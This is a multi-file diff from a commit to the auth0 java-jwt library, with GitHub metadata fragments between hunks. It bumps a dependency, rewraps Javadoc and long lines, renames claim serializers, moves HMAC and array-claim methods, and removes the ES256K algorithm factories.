-    implementation 'com.fasterxml.jackson.core:jackson-databind:2.12.6'
+    implementation 'com.fasterxml.jackson.core:jackson-databind:2.13.2'
 
     testImplementation 'org.bouncycastle:bcprov-jdk15on:1.70'
     testImplementation 'junit:junit:4.13.2'
@@ -114,19 +120,6 @@ def testJava17 = tasks.register('testJava17', Test) {
         languageVersion = JavaLanguageVersion.of(17)
     })
     shouldRunAfter(tasks.named('test'))
-
-    //Following Tests are excluded in Java 17 since secp256k1 curve is disabled Java 15+
-    filter {
-        excludeTestsMatching "*.jwt.ConcurrentVerifyTest.shouldPassECDSA256KVerificationWithJOSESignature"
-        excludeTestsMatching "*.jwt.JWTCreatorTest.shouldAddKeyIdIfAvailableFromECDSAKAlgorithms"
-        excludeTestsMatching "*.jwt.JWTCreatorTest.shouldNotOverwriteKeyIdIfAddedFromECDSAKAlgorithms"
-        excludeTestsMatching "*.jwt.JWTTest.shouldCreateAnEmptyECDSA256KSignedToken"
-        excludeTestsMatching "*.jwt.algorithms.ECDSAAlgorithmTest.shouldPassECDSA256KVerificationWithJOSESignature"
-        excludeTestsMatching "*.jwt.algorithms.ECDSAAlgorithmTest.shouldPassECDSA256KVerificationWithJOSESignatureWithBothKeys"
-        excludeTestsMatching "*.jwt.algorithms.ECDSAAlgorithmTest.shouldPassECDSA256KVerificationWithProvidedPublicKey"
-        excludeTestsMatching "*.jwt.ECDSABouncyCastleProviderTests.shouldPassECDSA256KVerificationWithJOSESignatureWithBothKeys"
-        excludeTestsMatching "*.jwt.ECDSABouncyCastleProviderTests.shouldPassECDSA256KVerificationWithProvidedPublicKey"
-    }
 }
 
 tasks.named('check') {u}(jr  (9d719d1e5e89287b471e171c0c708188d3dd743cjlr  (lib/src/main/java/com/auth0/jwt/JWT.javajnr  modifiedjfr  Kjgr  Kjpr  Kjqr  https://github.com/auth0/java-jwt/blob/75ee6a33c14697af6c1b18b10c6a3603f0f8d121/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWT.javajsr  https://github.com/auth0/java-jwt/raw/75ee6a33c14697af6c1b18b10c6a3603f0f8d121/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWT.javajur  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWT.java?ref=75ee6a33c14697af6c1b18b10c6a3603f0f8d121jwr  X	  @@ -6,6 +6,9 @@
 import com.auth0.jwt.interfaces.DecodedJWT;
 import com.auth0.jwt.interfaces.Verification;
 
+/**
+ * Exposes all the JWT functionalities.
+ */
 @SuppressWarnings("WeakerAccess")
 public class JWT {
 
@@ -22,11 +25,13 @@ public JWT() {
     /**
      * Decode a given Json Web Token.
      * <p>
-     * Note that this method <b>doesn't verify the token's signature!</b> Use it only if you trust the token or you already verified it.
+     * Note that this method <b>doesn't verify the token's signature!</b>
+     * Use it only if you trust the token or you already verified it.
      *
      * @param token with jwt format as string.
      * @return a decoded JWT.
-     * @throws JWTDecodeException if any part of the token contained an invalid jwt or JSON format of each of the jwt parts.
+     * @throws JWTDecodeException if any part of the token contained an invalid jwt
+     *                            or JSON format of each of the jwt parts.
      */
     public DecodedJWT decodeJwt(String token) throws JWTDecodeException {
         return new JWTDecoder(parser, token);
@@ -35,11 +40,13 @@ public DecodedJWT decodeJwt(String token) throws JWTDecodeException {
     /**
      * Decode a given Json Web Token.
      * <p>
-     * Note that this method <b>doesn't verify the token's signature!</b> Use it only if you trust the token or you already verified it.
+     * Note that this method <b>doesn't verify the token's signature!</b>
+     * Use it only if you trust the token or you already verified it.
      *
      * @param token with jwt format as string.
      * @return a decoded JWT.
-     * @throws JWTDecodeException if any part of the token contained an invalid jwt or JSON format of each of the jwt parts.
+     * @throws JWTDecodeException if any part of the token contained an invalid jwt
+     *                            or JSON format of each of the jwt parts.
      */
     public static DecodedJWT decode(String token) throws JWTDecodeException {
         return new JWTDecoder(token);
@@ -57,7 +64,7 @@ public static Verification require(Algorithm algorithm) {
     }
 
     /**
-     * Returns a Json Web Token builder used to create and sign tokens
+     * Returns a Json Web Token builder used to create and sign tokens.
      *
      * @return a token builder.
      */u}(jr  (95262d55bfc97fb7d0b7783e2e9b0024c49fd3e9jlr  /lib/src/main/java/com/auth0/jwt/JWTCreator.javajnr  modifiedjfr  KFjgr  K<jpr  Kjqr  https://github.com/auth0/java-jwt/blob/75ee6a33c14697af6c1b18b10c6a3603f0f8d121/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTCreator.javajsr  https://github.com/auth0/java-jwt/raw/75ee6a33c14697af6c1b18b10c6a3603f0f8d121/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTCreator.javajur  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTCreator.java?ref=75ee6a33c14697af6c1b18b10c6a3603f0f8d121jwr  X*  @@ -3,9 +3,7 @@
 import com.auth0.jwt.algorithms.Algorithm;
 import com.auth0.jwt.exceptions.JWTCreationException;
 import com.auth0.jwt.exceptions.SignatureGenerationException;
-import com.auth0.jwt.impl.ClaimsHolder;
-import com.auth0.jwt.impl.PayloadSerializer;
-import com.auth0.jwt.impl.PublicClaims;
+import com.auth0.jwt.impl.*;
 import com.fasterxml.jackson.core.JsonProcessingException;
 import com.fasterxml.jackson.databind.MapperFeature;
 import com.fasterxml.jackson.databind.ObjectMapper;
@@ -17,7 +15,8 @@
 import java.util.Map.Entry;
 
 /**
- * The JWTCreator class holds the sign method to generate a complete JWT (with Signature) from a given Header and Payload content.
+ * The JWTCreator class holds the sign method to generate a complete JWT (with Signature)
+ * from a given Header and Payload content.
  * <p>
  * This class is thread-safe.
  */
@@ -34,16 +33,18 @@ public final class JWTCreator {
     static {
         mapper = new ObjectMapper();
         module = new SimpleModule();
-        module.addSerializer(ClaimsHolder.class, new PayloadSerializer());
+        module.addSerializer(PayloadClaimsHolder.class, new PayloadSerializer());
+        module.addSerializer(HeaderClaimsHolder.class, new HeaderSerializer());
         mapper.registerModule(module);
         mapper.configure(MapperFeature.SORT_PROPERTIES_ALPHABETICALLY, true);
     }
 
-    private JWTCreator(Algorithm algorithm, Map<String, Object> headerClaims, Map<String, Object> payloadClaims) throws JWTCreationException {
+    private JWTCreator(Algorithm algorithm, Map<String, Object> headerClaims, Map<String, Object> payloadClaims)
+            throws JWTCreationException {
         this.algorithm = algorithm;
         try {
-            headerJson = mapper.writeValueAsString(headerClaims);
-            payloadJson = mapper.writeValueAsString(new ClaimsHolder(payloadClaims));
+            headerJson = mapper.writeValueAsString(new HeaderClaimsHolder(headerClaims));
+            payloadJson = mapper.writeValueAsString(new PayloadClaimsHolder(payloadClaims));
         } catch (JsonProcessingException e) {
             throw new JWTCreationException("Some of the Claims couldn't be converted to a valid JSON format.", e);
         }
@@ -96,7 +97,8 @@ public Builder withHeader(Map<String, Object> headerClaims) {
 
         /**
          * Add a specific Key Id ("kid") claim to the Header.
-         * If the {@link Algorithm} used to sign this token was instantiated with a KeyProvider, the 'kid' value will be taken from that provider and this one will be ignored.
+         * If the {@link Algorithm} used to sign this token was instantiated with a KeyProvider,
+         * the 'kid' value will be taken from that provider and this one will be ignored.
          *
          * @param keyId the Key Id value.
          * @return this same Builder instance.
@@ -322,48 +324,6 @@ public Builder withClaim(String name, Instant value) throws IllegalArgumentExcep
             return this;
         }
 
-        /**
-         * Add a custom Array Claim with the given items.
-         *
-         * @param name  the Claim's name.
-         * @param items the Claim's value.
-         * @return this same Builder instance.
-         * @throws IllegalArgumentException if the name is null.
-         */
-        public Builder withArrayClaim(String name, String[] items) throws IllegalArgumentException {
-            assertNonNull(name);
-            addClaim(name, items);
-            return this;
-        }
-
-        /**
-         * Add a custom Array Claim with the given items.
-         *
-         * @param name  the Claim's name.
-         * @param items the Claim's value.
-         * @return this same Builder instance.
-         * @throws IllegalArgumentException if the name is null.
-         */
-        public Builder withArrayClaim(String name, Integer[] items) throws IllegalArgumentException {
-            assertNonNull(name);
-            addClaim(name, items);
-            return this;
-        }
-
-        /**
-         * Add a custom Array Claim with the given items.
-         *
-         * @param name  the Claim's name.
-         * @param items the Claim's value.
-         * @return this same Builder instance.
-         * @throws IllegalArgumentException if the name is null
-         */
-        public Builder withArrayClaim(String name, Long[] items) throws IllegalArgumentException {
-            assertNonNull(name);
-            addClaim(name, items);
-            return this;
-        }
-
         /**
          * Add a custom Map Claim with the given items.
          * <p>
@@ -381,7 +341,8 @@ public Builder withClaim(String name, Map<String, ?> map) throws IllegalArgument
             assertNonNull(name);
             // validate map contents
             if (map != null && !validateClaim(map)) {
-                throw new IllegalArgumentException("Expected map containing Map, List, Boolean, Integer, Long, Double, String and Date");
+                throw new IllegalArgumentException("Expected map containing Map, List, Boolean, Integer, "
+                        + "Long, Double, String and Date");
             }
             addClaim(name, map);
             return this;
@@ -404,7 +365,8 @@ public Builder withClaim(String name, List<?> list) throws IllegalArgumentExcept
             assertNonNull(name);
             // validate list contents
             if (list != null && !validateClaim(list)) {
-                throw new IllegalArgumentException("Expected list containing Map, List, Boolean, Integer, Long, Double, String and Date");
+                throw new IllegalArgumentException("Expected list containing Map, List, Boolean, Integer, "
+                        + "Long, Double, String and Date");
             }
             addClaim(name, list);
             return this;
@@ -416,6 +378,48 @@ public Builder withNullClaim(String name) throws IllegalArgumentException {
             return this;
         }
 
+        /**
+         * Add a custom Array Claim with the given items.
+         *
+         * @param name  the Claim's name.
+         * @param items the Claim's value.
+         * @return this same Builder instance.
+         * @throws IllegalArgumentException if the name is null.
+         */
+        public Builder withArrayClaim(String name, String[] items) throws IllegalArgumentException {
+            assertNonNull(name);
+            addClaim(name, items);
+            return this;
+        }
+
+        /**
+         * Add a custom Array Claim with the given items.
+         *
+         * @param name  the Claim's name.
+         * @param items the Claim's value.
+         * @return this same Builder instance.
+         * @throws IllegalArgumentException if the name is null.
+         */
+        public Builder withArrayClaim(String name, Integer[] items) throws IllegalArgumentException {
+            assertNonNull(name);
+            addClaim(name, items);
+            return this;
+        }
+
+        /**
+         * Add a custom Array Claim with the given items.
+         *
+         * @param name  the Claim's name.
+         * @param items the Claim's value.
+         * @return this same Builder instance.
+         * @throws IllegalArgumentException if the name is null
+         */
+        public Builder withArrayClaim(String name, Long[] items) throws IllegalArgumentException {
+            assertNonNull(name);
+            addClaim(name, items);
+            return this;
+        }
+
         /**
          * Add specific Claims to set as the Payload. If the provided map is null then
          * nothing is changed.
@@ -430,16 +434,18 @@ public Builder withNullClaim(String name) throws IllegalArgumentException {
          * </p>
          *
          * @param payloadClaims the values to use as Claims in the token's payload.
-         * @throws IllegalArgumentException if any of the claim keys or null, or if the values are not of a supported type.
          * @return this same Builder instance.
+         * @throws IllegalArgumentException if any of the claim keys or null,
+         *                                  or if the values are not of a supported type.
          */
         public Builder withPayload(Map<String, ?> payloadClaims) throws IllegalArgumentException {
             if (payloadClaims == null) {
                 return this;
             }
 
             if (!validatePayload(payloadClaims)) {
-                throw new IllegalArgumentException("Claim values must only be of types Map, List, Boolean, Integer, Long, Double, String, Date and Null");
+                throw new IllegalArgumentException("Claim values must only be of types Map, List, Boolean, Integer, "
+                        + "Long, Double, String and Date");
             }
 
             // add claims only after validating all claims so as not to corrupt the claims map of this builder
@@ -517,12 +523,13 @@ private static boolean isBasicType(Object value) {
         }
 
         /**
-         * Creates a new JWT and signs is with the given algorithm
+         * Creates a new JWT and signs is with the given algorithm.
          *
          * @param algorithm used to sign the JWT
          * @return a new JWT token
          * @throws IllegalArgumentException if the provided algorithm is null.
-         * @throws JWTCreationException     if the claims could not be converted to a valid JSON or there was a problem with the signing key.
+         * @throws JWTCreationException     if the claims could not be converted to a valid JSON
+         *                                  or there was a problem with the signing key.
          */
         public String sign(Algorithm algorithm) throws IllegalArgumentException, JWTCreationException {
             if (algorithm == null) {
@@ -551,10 +558,13 @@ private void addClaim(String name, Object value) {
     }
 
     private String sign() throws SignatureGenerationException {
-        String header = Base64.getUrlEncoder().withoutPadding().encodeToString(headerJson.getBytes(StandardCharsets.UTF_8));
-        String payload = Base64.getUrlEncoder().withoutPadding().encodeToString(payloadJson.getBytes(StandardCharsets.UTF_8));
+        String header = Base64.getUrlEncoder().withoutPadding()
+                .encodeToString(headerJson.getBytes(StandardCharsets.UTF_8));
+        String payload = Base64.getUrlEncoder().withoutPadding()
+                .encodeToString(payloadJson.getBytes(StandardCharsets.UTF_8));
 
-        byte[] signatureBytes = algorithm.sign(header.getBytes(StandardCharsets.UTF_8), payload.getBytes(StandardCharsets.UTF_8));
+        byte[] signatureBytes = algorithm.sign(header.getBytes(StandardCharsets.UTF_8),
+                payload.getBytes(StandardCharsets.UTF_8));
         String signature = Base64.getUrlEncoder().withoutPadding().encodeToString((signatureBytes));
 
         return String.format("%s.%s.%s", header, payload, signature);u}(jr  (cc283095f25e9231c857ca94330a5ef73c1a8a05jlr  /lib/src/main/java/com/auth0/jwt/JWTDecoder.javajnr  modifiedjfr  Kjgr  Kjpr  Kjqr  https://github.com/auth0/java-jwt/blob/75ee6a33c14697af6c1b18b10c6a3603f0f8d121/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTDecoder.javajsr  https://github.com/auth0/java-jwt/raw/75ee6a33c14697af6c1b18b10c6a3603f0f8d121/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTDecoder.javajur  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTDecoder.java?ref=75ee6a33c14697af6c1b18b10c6a3603f0f8d121jwr  X9  @@ -42,7 +42,7 @@ final class JWTDecoder implements DecodedJWT, Serializable {
             payloadJson = new String(Base64.getUrlDecoder().decode(parts[1]), StandardCharsets.UTF_8);
         } catch (NullPointerException e) {
             throw new JWTDecodeException("The UTF-8 Charset isn't initialized.", e);
-        } catch (IllegalArgumentException e){
+        } catch (IllegalArgumentException e) {
             throw new JWTDecodeException("The input is not a valid base 64 encoded string.", e);
         }
         header = converter.parseHeader(headerJson);u}(jr  (e7e0fbea17963204d8a204fb16bf30e5c6cc02f4jlr  0lib/src/main/java/com/auth0/jwt/JWTVerifier.javajnr  modifiedjfr  Kjgr  Kjpr  Kjqr  https://github.com/auth0/java-jwt/blob/75ee6a33c14697af6c1b18b10c6a3603f0f8d121/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTVerifier.javajsr  https://github.com/auth0/java-jwt/raw/75ee6a33c14697af6c1b18b10c6a3603f0f8d121/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTVerifier.javajur  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTVerifier.java?ref=75ee6a33c14697af6c1b18b10c6a3603f0f8d121jwr  X  @@ -16,11 +16,13 @@
 import java.util.function.BiPredicate;
 
 /**
- * The JWTVerifier class holds the verify method to assert that a given Token has not only a proper JWT format, but also its signature matches.
+ * The JWTVerifier class holds the verify method to assert that a given Token has not only a proper JWT format,
+ * but also its signature matches.
  * <p>
  * This class is thread-safe.
+ *
+ * @see com.auth0.jwt.interfaces.JWTVerifier
  */
-@SuppressWarnings("WeakerAccess")
 public final class JWTVerifier implements com.auth0.jwt.interfaces.JWTVerifier {
     private final Algorithm algorithm;
     final Map<String, BiPredicate<Claim, DecodedJWT>> expectedChecks;
@@ -43,6 +45,9 @@ static Verification init(Algorithm algorithm) throws IllegalArgumentException {
         return new BaseVerification(algorithm);
     }
 
+    /**
+     * {@link Verification} implementation that accepts all the expected Claim values for verification.
+     */
     public static class BaseVerification implements Verification {
         private final Algorithm algorithm;
         private final Map<String, BiPredicate<Claim, DecodedJWT>> expectedChecks;
@@ -198,7 +203,8 @@ public Verification withClaim(String name, Date value) throws IllegalArgumentExc
         @Override
         public Verification withClaim(String name, Instant value) throws IllegalArgumentException {
             assertNonNull(name);
-            // Since date-time claims are serialized as epoch seconds, we need to compare them with only seconds-granularity
+            // Since date-time claims are serialized as epoch seconds,
+            // we need to compare them with only seconds-granularity
             checkIfNeedToRemove(name, value,
                     ((claim, decodedJWT) -> value.truncatedTo(ChronoUnit.SECONDS).equals(claim.asInstant())));
             return this;
@@ -370,7 +376,8 @@ private boolean isNullOrEmpty(String[] args) {
      *
      * @param token to verify.
      * @return a verified and decoded JWT.
-     * @throws AlgorithmMismatchException     if the algorithm stated in the token's header is not equal to the one defined in the {@link JWTVerifier}.
+     * @throws AlgorithmMismatchException     if the algorithm stated in the token's header is not equal to
+     *                                        the one defined in the {@link JWTVerifier}.
      * @throws SignatureVerificationException if the signature is invalid.
      * @throws TokenExpiredException          if the token has expired.
      * @throws InvalidClaimException          if a claim contained a different value than the expected one.
@@ -386,7 +393,8 @@ public DecodedJWT verify(String token) throws JWTVerificationException {
      *
      * @param jwt to verify.
      * @return a verified and decoded JWT.
-     * @throws AlgorithmMismatchException     if the algorithm stated in the token's header is not equal to the one defined in the {@link JWTVerifier}.
+     * @throws AlgorithmMismatchException     if the algorithm stated in the token's header is not equal to
+     *                                        the one defined in the {@link JWTVerifier}.
      * @throws SignatureVerificationException if the signature is invalid.
      * @throws TokenExpiredException          if the token has expired.
      * @throws InvalidClaimException          if a claim contained a different value than the expected one.
@@ -401,11 +409,13 @@ public DecodedJWT verify(DecodedJWT jwt) throws JWTVerificationException {
 
     private void verifyAlgorithm(DecodedJWT jwt, Algorithm expectedAlgorithm) throws AlgorithmMismatchException {
         if (!expectedAlgorithm.getName().equals(jwt.getAlgorithm())) {
-            throw new AlgorithmMismatchException("The provided Algorithm doesn't match the one defined in the JWT's Header.");
+            throw new AlgorithmMismatchException(
+                    "The provided Algorithm doesn't match the one defined in the JWT's Header.");
         }
     }
 
-    private void verifyClaims(DecodedJWT jwt, Map<String, BiPredicate<Claim, DecodedJWT>> claims) throws TokenExpiredException, InvalidClaimException {
+    private void verifyClaims(DecodedJWT jwt, Map<String, BiPredicate<Claim, DecodedJWT>> claims)
+            throws TokenExpiredException, InvalidClaimException {
         for (Map.Entry<String, BiPredicate<Claim, DecodedJWT>> entry : claims.entrySet()) {
             boolean isValid;
             String claimName = entry.getKey();
@@ -415,7 +425,8 @@ private void verifyClaims(DecodedJWT jwt, Map<String, BiPredicate<Claim, Decoded
             isValid = expectedCheck.test(claim, jwt);
 
             if (!isValid) {
-                throw new InvalidClaimException(String.format("The Claim '%s' value doesn't match the required one.", claimName));
+                throw new InvalidClaimException(
+                        String.format("The Claim '%s' value doesn't match the required one.", claimName));
             }
         }
     }u}(jr  (0a76028b12002eccfc34165e5c7b3e33dbfaa01cjlr  /lib/src/main/java/com/auth0/jwt/TokenUtils.javajnr  modifiedjfr  Kjgr  Kjpr  Kjqr  https://github.com/auth0/java-jwt/blob/75ee6a33c14697af6c1b18b10c6a3603f0f8d121/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FTokenUtils.javajsr  https://github.com/auth0/java-jwt/raw/75ee6a33c14697af6c1b18b10c6a3603f0f8d121/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FTokenUtils.javajur  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FTokenUtils.java?ref=75ee6a33c14697af6c1b18b10c6a3603f0f8d121jwr  X  @@ -18,7 +18,8 @@ static String[] splitToken(String token) throws JWTDecodeException {
             parts = new String[]{parts[0], parts[1], ""};
         }
         if (parts.length != 3) {
-            throw new JWTDecodeException(String.format("The token was expected to have 3 parts, but got %s.", parts.length));
+            throw new JWTDecodeException(
+                    String.format("The token was expected to have 3 parts, but got %s.", parts.length));
         }
         return parts;
     }u}(jr  (a52470055ec0f1430a30c29295d72158a56a3e15jlr  9lib/src/main/java/com/auth0/jwt/algorithms/Algorithm.javajnr  modifiedjfr  Kjgr  K0jpr  KOjqr  https://github.com/auth0/java-jwt/blob/75ee6a33c14697af6c1b18b10c6a3603f0f8d121/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FAlgorithm.javajsr  https://github.com/auth0/java-jwt/raw/75ee6a33c14697af6c1b18b10c6a3603f0f8d121/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FAlgorithm.javajur  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FAlgorithm.java?ref=75ee6a33c14697af6c1b18b10c6a3603f0f8d121jwr  X  @@ -138,28 +138,6 @@ public static Algorithm HMAC256(String secret) throws IllegalArgumentException {
         return new HMACAlgorithm("HS256", "HmacSHA256", secret);
     }
 
-    /**
-     * Creates a new Algorithm instance using HmacSHA384. Tokens specify this as "HS384".
-     *
-     * @param secret the secret to use in the verify or signing instance.
-     * @return a valid HMAC384 Algorithm.
-     * @throws IllegalArgumentException if the provided Secret is null.
-     */
-    public static Algorithm HMAC384(String secret) throws IllegalArgumentException {
-        return new HMACAlgorithm("HS384", "HmacSHA384", secret);
-    }
-
-    /**
-     * Creates a new Algorithm instance using HmacSHA512. Tokens specify this as "HS512".
-     *
-     * @param secret the secret to use in the verify or signing instance.
-     * @return a valid HMAC512 Algorithm.
-     * @throws IllegalArgumentException if the provided Secret is null.
-     */
-    public static Algorithm HMAC512(String secret) throws IllegalArgumentException {
-        return new HMACAlgorithm("HS512", "HmacSHA512", secret);
-    }
-
     /**
      * Creates a new Algorithm instance using HmacSHA256. Tokens specify this as "HS256".
      *
@@ -172,26 +150,14 @@ public static Algorithm HMAC256(byte[] secret) throws IllegalArgumentException {
     }
 
     /**
-     * Creates a new Algorithm instance using SHA256withECDSA. Tokens specify this as "ES256K".
-     *
-     * @param keyProvider the provider of the Public Key and Private Key for the verify and signing instance.
-     * @return a valid ECDSA256 Algorithm.
-     * @throws IllegalArgumentException if the Key Provider is null.
-     */
-    public static Algorithm ECDSA256K(ECDSAKeyProvider keyProvider) throws IllegalArgumentException {
-        return new ECDSAAlgorithm("ES256K", "SHA256withECDSA", 32, keyProvider);
-    }
-
-    /**
-     * Creates a new Algorithm instance using SHA256withECDSA. Tokens specify this as "ES256K".
+     * Creates a new Algorithm instance using HmacSHA384. Tokens specify this as "HS384".
      *
-     * @param publicKey  the key to use in the verify instance.
-     * @param privateKey the key to use in the signing instance.
-     * @return a valid ECDSA256 Algorithm.
-     * @throws IllegalArgumentException if the provided Key is null.
+     * @param secret the secret to use in the verify or signing instance.
+     * @return a valid HMAC384 Algorithm.
+     * @throws IllegalArgumentException if the provided Secret is null.
      */
-    public static Algorithm ECDSA256K(ECPublicKey publicKey, ECPrivateKey privateKey) throws IllegalArgumentException {
-        return ECDSA256K(ECDSAAlgorithm.providerForKeys(publicKey, privateKey));
+    public static Algorithm HMAC384(String secret) throws IllegalArgumentException {
+        return new HMACAlgorithm("HS384", "HmacSHA384", secret);
     }
 
     /**
@@ -205,6 +171,17 @@ public static Algorithm HMAC384(byte[] secret) throws IllegalArgumentException {
         return new HMACAlgorithm("HS384", "HmacSHA384", secret);
     }
 
+    /**
+     * Creates a new Algorithm instance using HmacSHA512. Tokens specify this as "HS512".
+     *
+     * @param secret the secret to use in the verify or signing instance.
+     * @return a valid HMAC512 Algorithm.
+     * @throws IllegalArgumentException if the provided Secret is null.
+     */
+    public static Algorithm HMAC512(String secret) throws IllegalArgumentException {
+        return new HMACAlgorithm("HS512", "HmacSHA512", secret);
+    }
+
     /**
      * Creates a new Algorithm instance using HmacSHA512. Tokens specify this as "HS512".
      *
@@ -215,8 +192,7 @@ public static Algorithm HMAC384(byte[] secret) throws IllegalArgumentException {
     public static Algorithm HMAC512(byte[] secret) throws IllegalArgumentException {
         return new HMACAlgorithm("HS512", "HmacSHA512", secret);
     }
-    
-    
+
 
     /**
      * Creates a new Algorithm instance using SHA256withECDSA. Tokens specify this as "ES256".
@@ -337,7 +313,8 @@ protected Algorithm(String name, String description) {
     }
 
     /**
-     * Getter for the Id of the Private Key used to sign the tokens. This is usually specified as the `kid` claim in the Header.
+     * Getter for the Id of the Private Key used to sign the tokens.
+     * This is usually specified as the `kid` claim in the Header.
      *
      * @return the Key Id that identifies the Signing Key or null if it's not specified.
      */
@@ -355,7 +332,8 @@ public String getName() {
     }
 
     /**
-     * Getter for the description of this Algorithm, required when instantiating a Mac or Signature object. i.e. "HmacSHA256"
+     * Getter for the description of this Algorithm,
+     * required when instantiating a Mac or Signature object. i.e. "HmacSHA256"
      *
      * @return the algorithm description.
      */
@@ -372,15 +350,19 @@ public String toString() {
      * Verify the given token using this Algorithm instance.
      *
      * @param jwt the already decoded JWT that it's going to be verified.
-     * @throws SignatureVerificationException if the Token's Signature is invalid, meaning that it doesn't match the signatureBytes, or if the Key is invalid.
+     * @throws SignatureVerificationException if the Token's Signature is invalid,
+     *                                        meaning that it doesn't match the signatureBytes,
+     *                                        or if the Key is invalid.
      */
     public abstract void verify(DecodedJWT jwt) throws SignatureVerificationException;
 
     /**
      * Sign the given content using this Algorithm instance.
      *
-     * @param headerBytes  an array of bytes representing the base64 encoded header content to be verified against the signature.
-     * @param payloadBytes an array of bytes representing the base64 encoded payload content to be verified against the signature.
+     * @param headerBytes  an array of bytes representing the base64 encoded header content
+     *                     to be verified against the signature.
+     * @param payloadBytes an array of bytes representing the base64 encoded payload content
+     *                     to be verified against the signature.
      * @return the signature in a base64 encoded array of bytes
      * @throws SignatureGenerationException if the Key is invalid.
      */
@@ -399,7 +381,8 @@ public byte[] sign(byte[] headerBytes, byte[] payloadBytes) throws SignatureGene
      * Sign the given content using this Algorithm instance.
      * To get the correct JWT Signature, ensure the content is in the format {HEADER}.{PAYLOAD}
      *
-     * @param contentBytes an array of bytes representing the base64 encoded content to be verified against the signature.
+     * @param contentBytes an array of bytes representing the base64 encoded content
+     *                     to be verified against the signature.
      * @return the signature in a base64 encoded array of bytes
      * @throws SignatureGenerationException if the Key is invalid.
      */u}(jr  (7b8c5c2ac5761bbf25b86fa55870a38d67cc0a03jlr  <lib/src/main/java/com/auth0/jwt/algorithms/CryptoHelper.javajnr  modifiedjfr  Kdjgr  Kcjpr  Kjqr  https://github.com/auth0/java-jwt/blob/75ee6a33c14697af6c1b18b10c6a3603f0f8d121/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FCryptoHelper.javajsr  https://github.com/auth0/java-jwt/raw/75ee6a33c14697af6c1b18b10c6a3603f0f8d121/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FCryptoHelper.javajur  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FCryptoHelper.java?ref=75ee6a33c14697af6c1b18b10c6a3603f0f8d121jwr  XU:  @@ -12,93 +12,98 @@
  */
 class CryptoHelper {
 
-    private static final byte JWT_PART_SEPARATOR = (byte)46;
+    private static final byte JWT_PART_SEPARATOR = (byte) 46;
 
     /**
      * Verify signature for JWT header and payload.
      *
-     * @param algorithm algorithm name.
-     * @param secretBytes algorithm secret.
-     * @param header JWT header.
-     * @param payload JWT payload.
+     * @param algorithm      algorithm name.
+     * @param secretBytes    algorithm secret.
+     * @param header         JWT header.
+     * @param payload        JWT payload.
      * @param signatureBytes JWT signature.
      * @return true if signature is valid.
      * @throws NoSuchAlgorithmException if the algorithm is not supported.
-     * @throws InvalidKeyException if the given key is inappropriate for initializing the specified algorithm.
+     * @throws InvalidKeyException      if the given key is inappropriate for initializing the specified algorithm.
      */
 
-    boolean verifySignatureFor(String algorithm, byte[] secretBytes, String header, String payload, byte[] signatureBytes) throws NoSuchAlgorithmException, InvalidKeyException {
-        return verifySignatureFor(algorithm, secretBytes, header.getBytes(StandardCharsets.UTF_8), payload.getBytes(StandardCharsets.UTF_8), signatureBytes);
+    boolean verifySignatureFor(
+            String algorithm,
+            byte[] secretBytes,
+            String header,
+            String payload,
+            byte[] signatureBytes
+    ) throws NoSuchAlgorithmException, InvalidKeyException {
+        return verifySignatureFor(algorithm, secretBytes,
+                header.getBytes(StandardCharsets.UTF_8), payload.getBytes(StandardCharsets.UTF_8), signatureBytes);
     }
 
     /**
      * Verify signature for JWT header and payload.
      *
-     * @param algorithm algorithm name.
-     * @param secretBytes algorithm secret.
-     * @param headerBytes JWT header.
-     * @param payloadBytes JWT payload.
+     * @param algorithm      algorithm name.
+     * @param secretBytes    algorithm secret.
+     * @param headerBytes    JWT header.
+     * @param payloadBytes   JWT payload.
      * @param signatureBytes JWT signature.
      * @return true if signature is valid.
      * @throws NoSuchAlgorithmException if the algorithm is not supported.
-     * @throws InvalidKeyException if the given key is inappropriate for initializing the specified algorithm.
+     * @throws InvalidKeyException      if the given key is inappropriate for initializing the specified algorithm.
      */
 
-    boolean verifySignatureFor(String algorithm, byte[] secretBytes, byte[] headerBytes, byte[] payloadBytes, byte[] signatureBytes) throws NoSuchAlgorithmException, InvalidKeyException {
-        return MessageDigest.isEqual(createSignatureFor(algorithm, secretBytes, headerBytes, payloadBytes), signatureBytes);
-    }
-
-    /**
-     * Create signature for JWT header and payload.
-     *
-     * @param algorithm algorithm name.
-     * @param secretBytes algorithm secret.
-     * @param headerBytes JWT header.
-     * @param payloadBytes JWT payload.
-     * @return the signature bytes.
-     * @throws NoSuchAlgorithmException if the algorithm is not supported.
